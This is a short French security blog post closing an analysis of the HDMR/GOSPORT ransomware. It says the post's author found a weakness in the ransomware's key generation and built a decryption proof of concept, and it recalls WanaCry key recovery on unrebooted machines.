Les Malwares (principalement les Ransomwares) sont de plus en plus évolués mais visiblement ce n’est pas le cas de HDMR/GOSPORT.

A propos de l’analyse, j’ai pris une journée pour étudier (statique et dynamique) le sample et découvrir la « vulnérabilité » dans l’algorithme de génération de clés. Ensuite, j’ai passé une bonne journée supplémentaire pour la réalisation du PoC (from scratch).

Lors d’une attaque via un Ransomware, il est toujours intéressant de regarder si les algorithmes de chiffrements utilisés sont vraiment efficaces.

Lorsqu’un utilisateur (ou un technicien) s’aperçoit qu’il se fait crypter ses données, son réflexe est généralement de débrancher la prise éléctrique. Mauvais réflexe …

Lors de la campagne WanaCry, Benjamin Delpi a découvert que sur certains OS (Window XP et Seven) il est possible de reconstituer la clé de chiffrements (cf. Wanakiwi). Mais ceci n’est possible que si l’ordinateur n’a pas été redémarré, donc, le coup de la prise électrique c’est mort …

 

Ce contenu a été publié dans Malwares, Press, Reverse Engineering. Vous pouvez le mettre en favoris avec ce permalien.